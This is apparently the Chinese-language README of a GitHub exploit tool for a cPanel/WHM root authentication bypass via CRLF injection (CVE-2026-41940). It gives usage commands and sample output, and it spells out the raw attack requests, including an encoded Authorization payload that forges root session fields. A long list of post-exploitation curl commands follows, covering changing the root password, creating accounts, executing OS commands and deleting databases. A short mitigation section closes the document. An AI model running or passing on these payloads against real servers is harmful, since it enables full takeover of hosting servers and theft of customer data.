
# cPanel/WHM CVE-2026-41940 关键认证绕过漏洞利用工具 针对 cPanel/WHM CVE-2026-41940 的关键认证绕过漏洞利用工具。利用 cpsrvd 守护进程中的 CRLF 注入,无需凭据即可获取 WHM 根权限。包含版本检测、详细日志记录、代理支持、JSON 报告以及利用后账户枚举功能。仅限授权安全测试使用。
cPanel/WHM cpsrvd 守护进程中的 CRLF 注入导致严重身份验证绕过漏洞
CVE-2026-41940 是 cPanel & WHM 中的一个严重身份验证绕过漏洞,允许未经身份验证的远程攻击者获得服务器的 root 级管理访问权限。该漏洞存在于
cpsrvd守护进程的会话处理逻辑中,具体位于Cpanel/Session.pm,其中whostmgrsessioncookie 和Authorization标头中的行分隔符(CRLF)未被正确中和,从而允许注入会话参数。
| CVSS 评分 | 漏洞利用类型 | 影响 | 攻击向量 |
|---|---|---|---|
| 9.8 | 身份验证绕过 | Root 访问权限 | 网络 |
该漏洞利用工具提供以下主要功能:
🔓 身份验证绕过 - 无需凭据即可获得 WHM root 访问权限
🛡️ 多种绕过技术 - 自动尝试不同的验证方法
🌐 代理支持 - 通过 HTTP/HTTPS 代理路由流量
📊 JSON 报告 - 生成详细的评估报告
📝 全面日志记录 - 带时间戳的详细调试模式
🔍 版本检测 - 自动检测并检查易受攻击的版本
👥 账户枚举 - 漏洞利用后列出所有 cPanel 账户
🎯 多端点支持 - 尝试各种 API 端点进行验证
该漏洞源于两个主要问题:
会话存储中的 CRLF 注入 - saveSession 函数在写入会话文件之前未能清理 pass 字段中的换行符(\n),从而允许注入任意会话参数。
条件性编码绕过 - 当会话 cookie 缺少 ob 部分(逗号后的段)时,pass 值会以未编码(明文)形式写入,从而允许注入 CRLF 序列。
# Python 3.6 or higher required
python3 --version
# Install required packages
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit
python3 exploit.py --target https://target.com:2087
# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose
# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080
# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts
# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30
=======================================================
CVE-2026-41940 - cPanel/WHM Authentication Bypass
Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
Exploit Version: 1.0
=======================================================
Target : https://target.com:2087
Started : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}
=======================================================
EXPLOIT SUCCESSFUL
=======================================================
Target : https://target.com:2087
Token : /cpsess1234567890
Admin URL : https://target.com:2087/cpsess1234567890/
Version : 11.110.0.85
Verification Method : url_format
Completed : 2026-07-26 22:23:25
=======================================================
[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================
该漏洞利用工具首先通过尝试一次失败的登录来获取预认证会话 cookie:
POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded
user=root&pass=wrong_pass
响应:
Set-Cookie: whostmgrsession=base64_encoded_data
精心构造的 Authorization 标头会注入恶意会话参数:
GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]
解码后的载荷:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
服务器会响应一个包含管理会话令牌的重定向:
Location: /cpsess1234567890/
该漏洞利用工具会尝试多种验证方法以确认 root 访问权限。
漏洞利用成功后,使用获取的令牌执行以下命令:
# Get server version
curl -k "https://target.com:2087/cpsess-1234567890/json-api/version?api.version=1"
# Get server information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_info?api.version=1"
# Get hostname
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_hostname?api.version=1"
# Get load average
curl -k "https://target.com:2087/cpsess-1234567890/json-api/loadavg?api.version=1"
# Get CPU usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_cpu_usage?api.version=1"
# Get memory usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_memory_usage?api.version=1"
# Get disk usage
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_disk_usage?api.version=1"
# Server time
curl -k "https://target.com:2087/cpsess-1234567890/json-api/server_time?api.version=1"
# Service status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/service_status?api.version=1"
# List all cPanel accounts
curl -k "https://target.com:2087/cpsess-1234567890/json-api/listaccts?api.version=1"
# List accounts with details
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_list?api.version=1"
# Account summary
curl -k "https://target.com:2087/cpsess-1234567890/json-api/account_summary?api.version=1"
# Domain information
curl -k "https://target.com:2087/cpsess-1234567890/json-api/domain_info?api.version=1"
# Email statistics
curl -k "https://target.com:2087/cpsess-1234567890/json-api/email_stats?api.version=1"
# PHP configuration
curl -k "https://target.com:2087/cpsess-1234567890/json-api/php_ini?api.version=1"
# Server status
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/serverstatus"
# System information
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/sysinfo"
# List accounts (alternative )
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/listaccts"
# Show processes
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/showprocs"
# Disk usage
curl -k "https://target.com:2087/cpsess-1234567890/scripts2/diskusage"
# Change user password
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/passwd" \
-d "user=root&pass=NewP@ss123"
# Create new account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/createacct" \
-d "username=testuser&domain=test.com&password=TestPass123&plan=default"
# Execute OS commands
curl -k -X POST "https://target.com:2087/cpsess-1234567890/scripts/run_script" \
-d "script=id"
# Suspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/suspendacct" \
-d "user=testuser"
# Unsuspend account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/unsuspendacct" \
-d "user=testuser"
# Remove account
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/removeacct" \
-d "user=testuser"
# Get security advisor info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/security_advisor?api.version=1"
# Get SSH key info
curl -k "https://target.com:2087/cpsess-1234567890/json-api/get_ssh_keys?api.version=1"
# Check firewall status
curl -k "https://target.com:2087/cpsess-1234567890/json-api/firewall_status?api.version=1"
# Get SSL certificates
curl -k "https://target.com:2087/cpsess-1234567890/json-api/ssl_certificates?api.version=1"
# List MySQL databases
curl -k "https://target.com:2087/cpsess-1234567890/json-api/databases?api.version=1"
# Create database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/create_db" \
-d "db=test_db"
# Delete database
curl -k -X POST "https://target.com:2087/cpsess-1234567890/json-api/delete_db" \
-d "db=test_db"
# List database users
curl -k "https://target.com:2087/cpsess-1234567890/json-api/db_users?api.version=1"
一旦获得 WHM root 访问权限,攻击者可以:
🔍 列出所有 cPanel 账户
👤 创建新的 cPanel 账户
🔑 修改账户密码
❌ 删除或暂停账户
🖥️ 执行操作系统命令
🔄 更改 root 密码
📊 查看服务器统计信息
🗄️ 管理 MySQL 数据库
🐚 部署反向 Shell
🌐 安装 Web Shell
🗝️ 安装后门
🔒 创建隐藏的管理员账户
📁 访问所有服务器文件
💾 导出数据库
📧 读取电子邮件账户
🔐 访问 SSL 证书
# 1. Update cPanel/WHM immediately
/scripts/upcp --force
# 2. Invalidate all active sessions
rm -rf /var/cpanel/sessions/raw/*
rm -rf /var/cpanel/sessions/cache/*
systemctl restart cpanel
# 3. Restrict WHM access to trusted IPs
# Add to /etc/csf/csf.conf
# Or configure firewall
# 4. Enable Multi-Factor Authentication (MFA )
# WHM > Security Center > Two-Factor Authentication
# 5. Change ALL passwords
# - Root password
# - All cPanel user passwords
# - Database passwords
# - FTP passwords
# 6. Audit system for backdoors
find / -type f -mtime -7 -name "*.php" -o -name "*.pl" -o -name "*.cgi"
# 7. Check for malicious cron jobs
crontab -l
for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l; done
# 8. Check SSH authorized keys
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
cat /home/$user/.ssh/authorized_keys 2>/dev/null
done
✅ 实施严格的输入验证以防止 CRLF 注入
✅ 部署 WAF 规则以检测并阻止恶意请求
✅ 为 WHM 启用基于 IP 的访问限制
✅ 定期将 cPanel/WHM 更新至最新版本
✅ 定期进行安全评估
✅ 监控日志中的可疑活动
✅ 实施最小权限原则
✅ 在 WHM 中启用安全顾问(Security Advisor)
✅ 定期进行安全审计
✅ 部署入侵检测系统
{
"timestamp": "2026-07-26T22:23:25.123456",
"target": "https://target.com:2087",
"status": "success",
"token": "1234567890",
"detected_version": "11.110.0.85",
"vulnerable": true,
"verification_method": "url_format",
"notes": "Root access confirmed; Token verified",
"exploit_name": "CVE-2026-41940",
"cvss_score": "9.8",
"description": "cPanel/WHM Authentication Bypass via CRLF Injection",
"exploit_version": "1.0"
}
本工具仅用于教育和道德安全研究目的。作者和贡献者不对因使用本软件而造成的任何滥用或损害负责。使用本工具即表示您同意承担您行为的所有责任。在测试任何系统之前,请确保您已获得明确许可。
我们欢迎贡献!请遵循以下步骤:
🍴 复刻(Fork)本仓库
🔧 创建您的功能分支(git checkout -b feature/amazing-feature)
💾 提交您的更改(git commit -m 'Add amazing feature')
📤 推送到分支(git push origin feature/amazing-feature)
🔃 发起拉取请求(Pull Request)
🎉 初始版本
🔓 CRLF 注入漏洞利用实现
🛡️ 多种验证绕过技术
📊 JSON 报告生成
🌐 代理支持
📝 全面日志记录
🔍 版本检测
👥 账户枚举
📚 全面的漏洞利用后命令
安全通告 - [email protected]
GitHub Issues - 创建 Issue
⚠️ 请记住:能力越大,责任越大!请合乎道德地使用! ⚠️
为安全社区倾心制作 ❤️
| 属性 | 值 |
|---|
| CVE ID | CVE-2026-41940 |
| CVSS 评分 | 9.8(严重) |
| 漏洞类型 | 通过 CRLF 注入实现身份验证绕过 |
| 受影响组件 | cpsrvd 守护进程(Cpanel/Session.pm) |
| 攻击向量 | 网络 |
| 影响 | 完全 Root 访问权限 |
| 利用条件 | 未经身份验证的远程利用 |
| 发布轨道 | 受影响版本上限 | 已修复版本 |
|---|
| 11.110.x | 11.110.0.96 | 11.110.0.97 |
| 11.118.x | 11.118.0.62 | 11.118.0.63 |
| 11.126.x | 11.126.0.53 | 11.126.0.54 |
| 11.132.x | 11.132.0.28 | 11.132.0.29 |
| 11.134.x | 11.134.0.19 | 11.134.0.20 |
| 11.136.x | 11.136.0.4 | 11.136.0.5 |
| 参数 | 简写 | 必填 | 描述 |
|---|
--target | -t | ✅ | 目标 URL(例如 https://target.com:2087 ) |
--verbose | -v | ❌ | 启用详细/调试输出 |
--proxy | -p | ❌ | 代理 URL(例如 http://127.0.0.1:8080 ) |
--output | -o | ❌ | JSON 报告的输出文件 |
--timeout | ❌ | 请求超时时间(秒)(默认:10) | |
--list-accounts | -l | ❌ | 漏洞利用成功后列出 cPanel 账户 |
--version | ❌ | 显示漏洞利用工具版本 |